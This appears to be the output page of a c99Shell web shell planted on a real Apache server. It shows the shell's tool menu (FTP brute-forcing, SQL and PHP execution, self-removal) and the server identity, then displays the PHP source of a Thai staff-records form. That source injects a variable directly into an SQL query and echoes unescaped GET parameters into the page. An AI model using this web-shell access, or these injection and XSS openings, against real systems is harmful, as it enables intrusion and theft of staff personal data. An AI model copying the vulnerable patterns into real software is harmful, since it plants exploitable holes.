!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/admin/   drwxr-xr-x
Free 51 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     AddHistory.php (37.88 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

    session_start
();
    
    
/**  Define Validate Access  */
    
define'_VALID_ACCESS');

    
/**  Check Session User Login  */
    
if( !session_is_registered("valid_user") && !session_is_registered("Priority") ) {
        echo 
"<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-874\" />";
        echo 
"<p style=padding-top:115px><p align=center><br /><font color=red><strong>กรุณาทำการ Login ก่อน</strong></font></p></p>";
        echo 
"<meta http-equiv=\"refresh\" content=\"1; URL=../login.php\" />";
        exit();
    } 
    else {
        
/**  Configuration  */
        
require_once( "../configuration.php" );
        require_once( 
$_Config_absolute_path "/includes/framework.php" );
        require_once( 
"../include/Function.php" );

    
        
/**  Create Database Object  */
        
$dbObj = new DBConn;
        
        
/**  Config Table for This Page  */
        
$myTable "personal_tb";
        
        
$Username $valid_user;

        
$sql " SELECT * FROM $myTable  WHERE  Teacher_code='$Teacher_code' ";
        
$res mysql_query($sql);
        
$rsmysql_fetch_array($res);
        
        
    } 
# else
 
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
<link href="../css/default.css" rel="stylesheet" type="text/css" />
<script language="javascript" src="../js/utilities.js"></script>
<script language="javascript" src="../js/calendarDateInput2.js"></script>
<title>ศูนย์พัฒนาบุคลากร - ข้อมูลประวัติบุคลากร</title>
<SCRIPT>
var checkobj

function agreesubmit(el){
    checkobj=el
    if (document.all||document.getElementById){
    for (i=0;i<checkobj.form.length;i++){  //hunt down submit button
        var tempobj=checkobj.form.elements[i]
        if(tempobj.type.toLowerCase()=="submit")
            tempobj.disabled=!checkobj.checked
        }
    }
}

function defaultagree(el){
if (window.checkobj&&checkobj.checked)
alert("Just between you and me, this form has been submitted!")
else
alert("Please read/accept terms to submit form")
return false
}
</SCRIPT>
<script language="JavaScript" type="text/JavaScript">

<!--
 function MM_openBrWindow(theURL,winName,features) { //v2.0
  window.open(theURL,winName,features);
}
//-->
function chk(c){
if (c.checked){
document.all.Prob1.disabled=false;
document.all.Prob2.disabled=false;
document.all.Prob3.disabled=false;
document.all.Prob4.disabled=false;
}
else{
document.all.Problem.disabled=false;
}
}
</script>
</head>

<body topmargin="0" rightmargin="0" bottommargin="0" leftmargin="0">
<?php
    
include("../templates/incHeader.php");
?>
<table width="1003" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td width="203" align="left" valign="top" style="padding:10px 0px 0px 5px"><?php include("./_incAdminMenu.php");?></td>
    <td width="800" align="center" valign="top" style="padding:10px 0px 5px 10px"><fieldset>
      <table width="780" border="0" cellspacing="0" cellpadding="0">
      <tr>
        <td height="5"></td>
      </tr>
      <tr>
        <td height="30" background="../images/background/bg-head-topic-w780.gif" class="PADDING-LEFT-10"><strong><span class="NOTE">แบบฟอร์มประวัติบุคลากร</span></strong></td>
        </tr>
      <tr>
        <td>&nbsp;</td>
      </tr>
      <tr>
        <td height="370" align="center" valign="top"><form id="pc" name="pc" method="post"  enctype="multipart/form-data" action="InsertHistory.php" >
          <table width="90%" border="0" align="center" cellpadding="0" cellspacing="1" bordercolor="#CCCCCC" style="border:1px solid gray">
            <tr bordercolor="#CCCCCC" bgcolor="#CFE0F5">
              <td colspan="3"><div align="center"><font color="#003366" size="4" face="Tahoma"><strong>แบบฟอร์มประวัติบุคลากร</strong></font></div></td>
              </tr>
            <tr bgcolor="#ECF5FF">
              <td width="20%" height="100%" align="right" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><font color="#000066" face="Tahoma">คำนำหน้า</font></td>
              <td width="1%" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><div align="center" class="style15"><font color="#FF0000" face="Tahoma">*</font></div></td>
              <td width="79%" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><span class="style15"><font face="Tahoma">
                <input name="First_name" type="radio" value="นาย" checked="checked" >
                นาย
                <input type="radio" name="First_name" value="นางสาว" >
                นางสาว
                <input type="radio" name="First_name" value="นาง"  />
                นาง </font></span></td>
              </tr>
            <tr bgcolor="#ECF5FF">
              <td align="right" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><font color="#000066" face="Tahoma">ชื่อ</font></td>
              <td bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><div align="center" class="style15"><font color="#FF0000" face="Tahoma">*</font></div></td>
              <td nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14 style15"><font face="Tahoma">
                <input name="Teacher_name" type="text" class="input" id="Teacher_name" value="<?=$_GET['Teacher_name'];?>" size="20">
  &nbsp;นามสกุล </font> <font face="Tahoma">
    <input name="Teacher_lastname" type="text" class="input" id="Teacher_lastname" value="<?=$_GET['Teacher_lastname'];?>" size="20" />
    <font color="#FF0000"> (ภาษาไทย) </font></font></td>
              </tr>
            <tr bgcolor="#ECF5FF">
              <td align="right" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><font color="#003366" face="Tahoma">วัน/เดือน/ปี/ที่เกิด</font></td>
              <td bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14 style15">&nbsp;</td>
              <td nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><span class="style15"><font color="#000000" face="Tahoma">วันที่
                <select name="mDate" id="mDate" class="select"  >
                  <? getDay1to31();?>
                  </select>
                เดือน
                <select name="mMonth" id="mMonth" class="select" >
                  <? getThaiMonth();?>
                  </select>
                ปี พ.ศ.
                <input name="mYear" type="text" class="input" id="mYear"  size="4" maxlength="4" />
                </font></span></td>
            </tr>
            <tr bgcolor="#ECF5FF">
              <td align="right" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><span class="style15"><font color="#003366" face="Tahoma">เพศ</font></span></td>
              <td bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14 style15">&nbsp;</td>
              <td nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><span class="style15">
                <input type="radio" name="Sex" value="หญิง"  />
                <font color="#000000"> หญิง
                  <input type="radio" name="Sex" value="ชาย"  />
                  ชาย</font></span></td>
            </tr>
            <tr bgcolor="#ECF5FF">
              <td align="right" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><font color="#003366" face="Tahoma">เชื้อชาติ</font></td>
              <td bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14 style15">&nbsp;</td>
              <td nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14 style15"><input name="Nationality" type="text" class="input" id="Nationality" value="<?=$_GET['Nationality'];?>" size="10"  />
                <font color="#003366" face="Tahoma">สัญชาติ                  <span class="style14"><span class="style15"><font color="#000000"><font color="#003366" face="Tahoma">
                <input name="Nation" type="text" class="input" id="Nation" value="<?=$_GET['Nation'];?>" size="10"  />
                </font></font></span></span></font></td>
              </tr>
            <tr bgcolor="#ECF5FF">
              <td align="right" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><font color="#003366" face="Tahoma">ศาสนา</font></td>
              <td bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14 style15">&nbsp;</td>
              <td nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><span class="style15"><font face="Tahoma">
                <input type="radio" name="Religion" value="พุทธ"  />
                พุทธ
                <input type="radio" name="Religion" value="คริสต์"  />
                คริสต์
                <input type="radio" name="Religion" value="อิสลาม"  />
                อิสลาม
                <input type="radio" name="Religion" value="อื่นๆ"  />
                อื่นๆ</font></span></td>
              </tr>
            <tr bgcolor="#ECF5FF">
              <td align="right" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><font color="#003366" face="Tahoma">เลขที่บัตรประจำตัวประชาชน</font></td>
              <td bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14 style15"><font color="#FF0000" face="Tahoma">*</font></td>
              <td nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><input name="Citizen_id" type="text" class="input " id="Citizen_id" onmouseover="ddrivetip('ช่องนี้คือเลขที่บัตรประจำตัวประชาชน 13 หลักตัวเลข','#FFE7CE', 300)"
onmouseout="hideddrivetip()" value="<?=$_GET['Citizen_id'];?>"  size="18" maxlength="13"; /></td>
              </tr>
            <tr bgcolor="#ECF5FF">
              <td align="right" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><font color="#000066" face="Tahoma">ภูมิลำเนา 
                / ที่อยู่</font></td>
              <td bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style16"><font color="#FF0000" face="Tahoma">*</font></td>
              <td nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><p class="style15">
                <input name="Address" type="text" class="input " id="Address"  value="<?=$_GET['Address'];?>"  size="40"; />
                </p></td>
            </tr>
            <tr >
              <td height="40" align="right" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF"><font color="#003366" face="Tahoma">ตำบล/แขวง</font></td>
              <td bordercolor="#FFFFFF" bgcolor="#FFFFFF"><font color="#FF0000" size="3" face="Tahoma">*</font></td>
              <td nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF"><input name="districtName" type="text" class="input1" id="districtName" size="15" maxlength="100" readonly="readonly" />
                <img src="../picture/search.gif" name="IMG3" width="15" height="19" border="0" align="absmiddle" id="IMG3" style="CURSOR: hand" onclick='MM_openBrWindow(&quot;homeDistrictTable.php&quot;,&quot;test&quot;,&quot;width = 550, height=350,scrollbars=yes&quot;)' />
                <input type="hidden" name="districtId" />
                <font color="#003366" size="2" face="Tahoma">อำเภอ/เขต</font>
                <input name="amphurName" type="text" class="input1" id="amphurName"  size="15" maxlength="100" readonly="readonly" />
                <input name="amphurId" type="hidden" id="amphurId" /></td>
            </tr>
            <tr bgcolor="#eeeeee">
              <td height="31" align="right" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF"><font color="#003366" face="Tahoma">จังหวัด</font></td>
              <td bordercolor="#FFFFFF" bgcolor="#FFFFFF"><font color="#FF0000" size="3" face="Tahoma">*</font></td>
              <td nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF"><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma">
                <input type="text" name="provinceName"  size="15" maxlength="100" class="input1" readonly="readonly" />
                <input name="provinceId" type="hidden" id="provinceId" />
              </font></strong></font><font color="#003366" size="2" face="Tahoma"><span class="hint"><font color="#003366" size="2"></font></span></font></strong></font><span class="hint"><font color="#003366" size="2"></font></span></td>
            </tr>
            <tr bgcolor="#CDDFF5">
              <td nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><div align="center" class="style15"><font color="#993333" face="Tahoma"><strong>ครอบครัว</strong></font></div></td>
              <td bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14 style15">&nbsp;</td>
              <td nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14 style15">&nbsp;</td>
            </tr>
            <tr bgcolor="#ECF5FF" >
              <td align="right" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><font face="Tahoma">สถานภาพ 
                บิดา - มารดา</font></td>
              <td bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14 style15">&nbsp;</td>
              <td nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><table width="100%" border="0" cellspacing="0" cellpadding="0">
                <tr>
                  <td width="50%" class="style15"><font face="Tahoma">
                    <input type="radio" name="Status2" value="ชีวิตอยู่"  />
                    มีชีวิตอยู่
                    <input type="radio" name="Status2"value="ถึงแก่กรรม"  />
                    ถึงแก่กรรม</font></td>
                  <td width="50%" class="style15"><font face="Tahoma">
                    <input type="radio" name="Status3" value="ชีวิตอยู่"  />
                    มีชีวิตอยู่
                    <input type="radio" name="Status3"value="ถึงแก่กรรม"  />
                    ถึงแก่กรรม</font></td>
                  </tr>
                </table></td>
              </tr>
            <tr bgcolor="#ECF5FF" >
              <td align="right" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><font color="#000000" face="Tahoma">ชื่อ 
                - นามสกุล บิดา</font></td>
              <td bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14 style15">&nbsp;</td>
              <td nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><table width="100%" border="0" cellspacing="0" cellpadding="0">
                <tr>
                  <td width="50%" class="style15"><font color="#000000" face="Tahoma">
                    <input name="Father_name" type="text" class="input" id="Father_name" value="<?=$_GET['Father_name'];?>" size="30"  />
                    </font> </td>
                  <td width="50%" class="style15"> <font color="#000000" face="Tahoma">&nbsp;&nbsp;มารดา&nbsp;
                    <input name="Mother_name" type="text" class="input" id="Mother_name2" value="<?=$_GET['Mother_name'];?>" size="30"  />
                    </font></td>
                  </tr>
                </table></td>
              </tr>
            <tr bgcolor="#ECF5FF">
              <td align="right" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><font face="Tahoma">สถานภาพ 
                คู่สมรส </font></td>
              <td bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14 style15">&nbsp;</td>
              <td nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><span class="style15"><font face="Tahoma">
                <input type="checkbox" name="Status" value="โสด" onclick="chk(this)"  />
                โสด
                <input name="Status" type="checkbox" id="Status" value="สมรส"  />
                สมรส
                <input name="Status" type="checkbox" id="Status" value="หย่าร้าง"  />
                หย่าร้าง
                <input name="Status" type="checkbox" value="ถึงแก่กรรม"  />
                ถึงแก่กรรม</font></span></td>
              </tr>
            <tr bgcolor="#ECF5FF">
              <td align="right" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><span class="style15"><font color="#000000" face="Tahoma">ชื่อ 
                - นามสกุล</font> <font face="Tahoma">คู่สมรส</font></span></td>
              <td bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14 style15">&nbsp;</td>
              <td nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><span class="style15"><font color="#000000" face="Tahoma">
                <input name="Soulmate" type="text" id="Soulmate" value="<?=$_GET['Soulmate'];?>" size="30" />
                </font></span></td>
              </tr>
            <tr bgcolor="#ECF5FF">
              <td align="right" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><font face="Tahoma">จำนวนบุตร</font></td>
              <td bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14 style15">&nbsp;</td>
              <td nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14 style15"><input name="Total_child" type="text" id="Total_child" value="<?=$_GET['Total_child'];?>" size="5" />
                <font face="Tahoma">คน</font> </td>
              </tr>
            <tr bgcolor="#B6D0F1" >
              <td height="23" colspan="3" nowrap="nowrap" bordercolor="#CCCCCC" background="../Image/centerpix.gif" bgcolor="#FFFFFF" class="style14 style15"><div align="center"> </div>
                <div align="center"></div>
                <div align="center"><font color="#FFFFFF" face="Tahoma"><strong><font color="#003366">&nbsp;</font></strong></font> <font color="#003366"><strong><font face="Tahoma">ประวัติการศึกษา </font></strong></font></div></td>
              </tr>
            <tr bgcolor="#ECF5FF">
              <td nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><font color="#000066" face="Tahoma">วุฒิการศึกษาสูงสุด</font></td>
              <td bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><div align="center" class="style15"><font color="#FF0000" face="Tahoma">*</font></div></td>
              <td nowrap="nowrap" bordercolor="#99CCFF" bgcolor="#FFFFFF" class="style14"><span class="style15"><font face="Tahoma">
                <input type="radio" name="Degree_code" value="1"  />
                ปริญญาตรี
                <input type="radio" name="Degree_code" value="2"  />
                ปริญญาโท
                <input type="radio" name="Degree_code" value="3"  />
                ปริญญาเอก
                <input type="radio" name="Degree_code" value="4" />
                อื่นๆระบุ
                <input name="Degree_else" type="text" value="<?=$_GET['Degree_else'];?>" size="30" />
                </font></span></td>
              </tr>
            <tr bgcolor="#ECF5FF">
              <td colspan="3" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><table width="100%" border="0" cellpadding="0" cellspacing="1">
                <tr>
                  <td width="6%" bgcolor="#CDDFF5" class="style15"><div align="center"><font face="Tahoma">ปริญญา</font></div></td>
                  <td width="21%" bgcolor="#CDDFF5" class="style15"><div align="center"><font color="#000066" face="Tahoma">วุฒิการศึกษา</font></div></td>
                  <td width="25%" bgcolor="#CDDFF5" class="style15"><div align="center"><font color="#000066" face="Tahoma">สาขาวิชาเอก</font></div></td>
                  <td width="21%" bgcolor="#CDDFF5" class="style15"><div align="center"><font color="#000066" face="Tahoma">สถาบันการศึกษา</font></div></td>
                  <td width="11%" bgcolor="#CDDFF5" class="style15"><div align="center"><font color="#000066" face="Tahoma">ปี 
                    พ.ศ. ที่จบ</font></div></td>
                  </tr>
                <tr>
                  <td align="center" class="style15"><font face="Tahoma">ตรี</font></td>
                  <td class="style15"><input name="Degree_His1" type="text" id="Degree_His1" value="<?=$_GET['Degree_His1'];?>" size="25"  /></td>
                  <td class="style15"><input name="Degree_His1_Major" type="text" class="input" id="Degree_His1_Major" value="<?=$_GET['Degree_His1_Major'];?>" size="30"   /></td>
                  <td class="style15"><input name="Degree_His1_Institute" type="text" class="input" id="Degree_His1_Institute" value="<?=$_GET['Degree_His1_Institute'];?>" size="25"  /></td>
                  <td class="style15"><input name="Degree_His1_End_Year" type="text" class="input" id="Degree_His1_End_Year" value="<?=$_GET['Degree_His1_End_Year'];?>"  size="5" maxlength="4" /></td>
                  </tr>
                <tr>
                  <td colspan="2" class="style15">&nbsp;</td>
                  <td class="style15"><div align="center"><font face="Tahoma">
                    <input type="radio" name="Type_degree1" value="พยาบาล"  />
                    ด้านพยาบาล
                    <input type="radio" name="Type_degree1" value="ด้านอื่นฯ"  />
                    ด้านอื่นฯ </font></div></td>
                  <td class="style15">&nbsp;</td>
                  <td class="style15">&nbsp;</td>
                  </tr>
                <tr>
                  <td align="center" class="style15"><font face="Tahoma">โท</font></td>
                  <td class="style15"><input name="Degree_His2" type="text" class="input" id="Degree_His2" value="<?=$_GET['Degree_His2'];?>" size="25"  /></td>
                  <td class="style15"><font face="Tahoma">
                    <input name="Degree_His2_Major" type="text" class="input" id="Degree_His2_Major" value="<?=$_GET['Degree_His2_Major'];?>" size="30"  />
                    </font></td>
                  <td class="style15"><input name="Degree_His2_Institute" type="text" class="input" id="Degree_His2_Institute" value="<?=$_GET['Degree_His2_Institute'];?>" size="25"  /></td>
                  <td class="style15"><input name="Degree_His2_End_Year" type="text" class="input" id="Degree_His2_End_Year" value="<?=$_GET['Degree_His2_End_Year'];?>"  size="5" maxlength="4" /></td>
                  </tr>
                <tr>
                  <td colspan="2" class="style15">&nbsp;</td>
                  <td class="style15"><div align="center"><font face="Tahoma">
                    <input type="radio" name="Type_degree2" value="พยาบาล"  />
                    ด้านพยาบาล
                    <input type="radio" name="Type_degree2" value="ด้านอื่นฯ"  />
                    ด้านอื่นฯ </font></div></td>
                  <td class="style15">&nbsp;</td>
                  <td class="style15">&nbsp;</td>
                  </tr>
                <tr>
                  <td align="center" class="style15"><font face="Tahoma">เอก</font></td>
                  <td class="style15"><input name="Degree_His3" type="text" class="input" id="Degree_His3" value="<?=$_GET['Degree_His3'];?>" size="25"  /></td>
                  <td class="style15"><font face="Tahoma"><font face="Tahoma"><font face="Tahoma"><font face="Tahoma">
                    <input name="Degree_His3_Major" type="text" class="input" id="Degree_His3_Major" value="<?=$_GET['Degree_His3_Major'];?>" size="30"  />
                  </font></font></font></font></td>
                  <td class="style15"><input name="Degree_His3_Institute" type="text" class="input" id="Degree_His3_Institute" value="<?=$_GET['Degree_His3_Institute'];?>" size="25"  /></td>
                  <td class="style15"><input name="Degree_His3_End_Year" type="text" class="inute" id="Degree_His3_End_Year" value="<?=$_GET['Degree_His3_End_Year'];?>"  size="5" maxlength="4" /></td>
                  </tr>
                <tr>
                  <td colspan="2" class="style15">&nbsp;</td>
                  <td class="style15"><div align="center"><font face="Tahoma">
                    <input type="radio" name="Type_degree3" value="พยาบาล"  />
                    ด้านพยาบาล
                    <input type="radio" name="Type_degree3" value="ด้านอื่นฯ"  />
                    ด้านอื่นฯ </font></div></td>
                  <td class="style15">&nbsp;</td>
                  <td class="style15">&nbsp;</td>
                  </tr>
                </table></td>
              </tr>
            <tr bgcolor="#B6D0F1">
              <td height="21" colspan="3" nowrap="nowrap" bordercolor="#CCCCCC" background="../Image/centerpix.gif" bgcolor="#FFFFFF" class="style14"><div align="center" class="style15"><font color="#003366" face="Tahoma"><strong>ประวัติการทำงาน</strong></font></div></td>
              </tr>
            <tr bgcolor="#ECF5FF">
              <td align="right" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><font color="#003366" face="Tahoma">ประเภทบุคลากร</font></td>
              <td bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14 style15">&nbsp;</td>
              <td nowrap="nowrap" bordercolor="#99CCFF" bgcolor="#FFFFFF" class="style14"><span class="style15"><font face="Tahoma">
                <input type="radio" name="Person_type" value="1"  />
                ข้าราชการ
                <input type="radio" name="Person_type" value="2"  />
                พนักงานของรัฐ
                <input type="radio" name="Person_type" value="3"  />
                ลูกจ้างประจำ
                <input type="radio" name="Person_type" value="4"  />
                ลูกจ้างชั่วคราว 
                <font face="Tahoma">
                <input type="radio" name="Person_type" value="5"  />
                </font> ลูกจ้างชั่วคราว(เหมาจ่าย) </font></span></td>
              </tr>
            <tr bgcolor="#ECF5FF">
              <td align="right" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><font color="#003366" face="Tahoma">ประเภทอาจารย์</font></td>
              <td bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14 style15">&nbsp;</td>
              <td nowrap="nowrap" bordercolor="#99CCFF" bgcolor="#FFFFFF" class="style14"><span class="style15"><font face="Tahoma">
                <input type="radio" name="Teacher_type" <?php if (!(strcmp("$rs[Teacher_type]","1"))){echo "checked";} ?> value="1"  />
                อาจารย์ทันตแพทย์
                <input type="radio" name="Teacher_type" <?php if (!(strcmp("$rs[Teacher_type]","2"))){echo "checked";} ?> value="2"  />
                วิทยาจารย์
                <input type="radio" name="Teacher_type" <?php if (!(strcmp("$rs[Teacher_type]","3"))){echo "checked";} ?> value="3"  />
                อาจารย์พิเศษ
                <input type="radio" name="Teacher_type" <?php if (!(strcmp("$rs[Teacher_type]","4"))){echo "checked";} ?> value="4"  />
                อาจารย์เภสัช
                <input type="radio" name="Teacher_type" <?php if (!(strcmp("$rs[Teacher_type]","5"))){echo "checked";} ?> value="5"  />
                อาจารย์พยาบาล
                <input type="radio" name="Teacher_type" <?php if (!(strcmp("$rs[Teacher_type]","6"))){echo "checked";} ?> value="6"  />
                สายสนับสนุน</font></span></td>
              </tr>
            <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE">
              <td height="20" align="right" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF" class="style14"><font color="#000000" face="Tahoma">สถานะตำแหน่ง</font></td>
              <td nowrap="nowrap" bgcolor="#FFFFFF" class="style14 style15"><!--DWLayoutEmptyCell-->&nbsp;</td>
              <td nowrap="nowrap" bgcolor="#FFFFFF" class="style14"><span class="style15"><font face="Tahoma">
                <input type="radio" name="Dentis_code" <?php if (!(strcmp("$rs[Dentis_code]","01"))){echo "checked";} ?> value="01" >
                ทันตแพทย์
                <input type="radio" name="Dentis_code" <?php if (!(strcmp("$rs[Dentis_code]","02"))){echo "checked";} ?> value="02" >
                เภสัชกร</font></span></td>
              </tr>
            <tr bgcolor="#ECF5FF">
              <td align="right" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><font color="#000066" face="Tahoma">สังกัดฝ่าย</font></td>
              <td bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14 style15">&nbsp;</td>
              <td nowrap="nowrap" bordercolor="#99CCFF" bgcolor="#FFFFFF" class="style14 style15"><select name="Faculty_code" >
                <?php
            $strSQL 
"SELECT * FROM faculty_tb ";
            
$result mysql_query($strSQL);
                 while( 
$rs mysql_fetch_array($result))
                {
                echo
"<option value=\"$rs[Faculty_code]\" ><b>$rs[Faculty_name]</b></option>\n";
                }
          
?>
                </select>
                <font color="#000066" face="Tahoma">กลุ่ม
                  <input name="Group" type="text" id="Group" value="<?=$_GET['Group'];?>" size="30"  />
                  </font></td>
              </tr>
            <tr bgcolor="#ECF5FF">
              <td align="right" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><font color="#003366" face="Tahoma">เลขที่ใบประกอบวิชาชีพ</font></td>
              <td bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14 style15">&nbsp;</td>
              <td nowrap="nowrap" bordercolor="#99CCFF" bgcolor="#FFFFFF" class="style14 style15"><input name="Gover_id" type="text" class="input" id="Gover_id" value="<?=$_GET['Gover_id'];?>"  size="10" />
                <font color="#FF0000" face="Tahoma"> เป็นตัวเลข 0-9 เท่านั้น</font></td>
              </tr>
            <tr bgcolor="#ECF5FF">
              <td nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><font color="#003366" face="Tahoma">เลขที่สมาชิกสภาการพยาบาล</font></td>
              <td bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14 style15">&nbsp;</td>
              <td nowrap="nowrap" bordercolor="#99CCFF" bgcolor="#FFFFFF" class="style14"><span class="style15"><font color="#003366" face="Tahoma">
                <input name="Forum_nid" type="text" class="input" id="Forum_nid" value="<?=$_GET['Forum_nid'];?>"  size="10" />
                เลขที่สมาชิกสมาคมพยาบาล
                <input name="Club_nid" type="text" class="input" id="Club_nid" value="<?=$_GET['Club_nid'];?>"  size="10" />
                </font></span></td>
              </tr>
            <tr bgcolor="#ECF5FF">
              <td align="right" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><font color="#003366" face="Tahoma">ปีที่เริ่มรับราชการ</font></td>
              <td bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14 style15">&nbsp;</td>
              <td nowrap="nowrap" bordercolor="#99CCFF" bgcolor="#FFFFFF" class="style14 style15"><font color="#003366" face="Tahoma">พ.ศ.</font>
                <input name="Year_gov" type="text" class="input" id="Year_gov" value="<?=$_GET['Year_gov'];?>"  size="4" maxlength="4" />                    </td>
              </tr>
            <tr bgcolor="#ECF5FF">
              <td align="right" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><font color="#003366" face="Tahoma">ปีที่เริ่มทำงานในวิทยาลัย</font></td>
              <td bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14 style15">&nbsp;</td>
              <td nowrap="nowrap" bordercolor="#99CCFF" bgcolor="#FFFFFF" class="style14 style15"><font color="#003366" face="Tahoma">พ.ศ.</font>
                <input name="Year_coll" type="text" class="input" id="Year_coll" value="<?=$_GET['Year_coll'];?>"  size="4" maxlength="4" /></td>
              </tr>
            <tr bgcolor="#ECF5FF">
              <td align="right" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><font color="#003366" face="Tahoma">ปีที่เริ่มทำงานในกลุ่ม</font></td>
              <td bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14 style15">&nbsp;</td>
              <td nowrap="nowrap" bordercolor="#99CCFF" bgcolor="#FFFFFF" class="style14 style15"><font color="#003366" face="Tahoma">พ.ศ.</font>
                <input name="Year_fac" type="text" class="input" id="Year_fac" value="<?=$_GET['Year_fac'];?>"  size="4" maxlength="4" /></td>
              </tr>
            <tr bgcolor="#ECF5FF">
              <td align="right" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><font color="#003366" face="Tahoma">ความเชี่ยวชาญ</font></td>
              <td bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14 style15">&nbsp;</td>
              <td nowrap="nowrap" bordercolor="#99CCFF" bgcolor="#FFFFFF" class="style14"><textarea name="Skill" cols="50" rows="5" class="input style15" id="textarea"><?=$_GET['Skill'];?>
              </textarea></td>
              </tr>
            <tr bgcolor="#ECF5FF">
